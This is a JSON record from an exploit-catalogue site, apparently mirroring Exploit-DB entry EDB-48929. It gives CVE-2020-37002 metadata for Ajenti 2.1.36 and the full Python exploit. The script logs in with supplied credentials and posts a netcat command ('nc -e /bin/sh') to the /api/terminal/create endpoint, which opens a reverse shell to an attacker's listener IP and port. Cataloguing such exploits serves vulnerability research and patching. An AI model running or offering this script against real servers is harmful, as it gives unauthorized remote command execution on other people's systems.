{"exploit":{"id":"EDB-48929","name":"Ajenti 2.1.36 - Authenticated Remote Code Execution (RCE)","description":"Ajenti 2.1.36 - Authenticated Remote Code Execution (RCE)","cves":["CVE-2020-37002"],"author":"Ahmet Ümit BAYRAM","published":"2020-10-23","platform":"python","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48929","path":"exploits/python/webapps/48929.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48929.py","vulnerabilities":[{"id":"CVE-2020-37002","state":"PUBLISHED","title":"Ajenti 2.1.36 Authenticated Remote Code Execution","titleSource":"CVE Program","description":"Ajenti 2.1.36 contains a post-authenticated remote command execution vulnerability that allows remote attackers to execute arbitrary commands after successful login. Attackers can leverage the /api/terminal/create endpoint to send a netcat reverse shell payload targeting a specified IP and port.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37002","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37002"},"updatedAt":"2026-05-25T23:41:10.197Z","retrievedAt":"2026-11-27T03:48:32.606Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48929.png?v=2","url":"https://exploitbin.com/exploits/EDB-48929","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48929/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48929/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" #!/usr/bin/python3\n\nimport requests\nimport sys\nimport warnings\nfrom bs4 import BeautifulSoup\nimport json\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module='bs4')\n\nif len(sys.argv) < 6:\n    print(\"Usage: ./exploit.py http(s)://url username password listenerIP listenerPort\")\n    exit()\n\nurl = sys.argv[1]\nusername = sys.argv[2]\npassword = sys.argv[3]\nip = sys.argv[4]\nport = sys.argv[5]\n\nreq = requests.session()\nlogin_creds = {\n    \"username\":username,\n    \"password\":password,\n    \"mode\":\"normal\"}\n\n\n\nprint(\"[+] Sendin login request...\")\nlogin = req.post(url+\"/api/core/auth\", json = login_creds)\n\n\nif username in login.text:\n\n    page = url + \"/api/terminal/create\"\n\n    payload = {\n\n            'command':'nc -e /bin/sh ' + ip + ' ' + port ,\n            'autoclose':True\n\n\n          }\n    payload = json.dumps(payload)\n    print(\"[+] Sending payload...\")\n\n    send_payload = req.post(page, payload)\n\n    print(\"[+] Check your listener !...\")\n\nelse:\n    print(\"[-] Wrong credentials or may the system patched.\")\n    exit()","sha256":"03f1ca5662776606450a74fd820ce237bcae5f3ca8bfe0ff7859cff6762eab14","bytes":1039,"fetchedAt":"2026-11-27T06:08:08.882Z","encoding":"utf-8 (display only; download retains original bytes)"}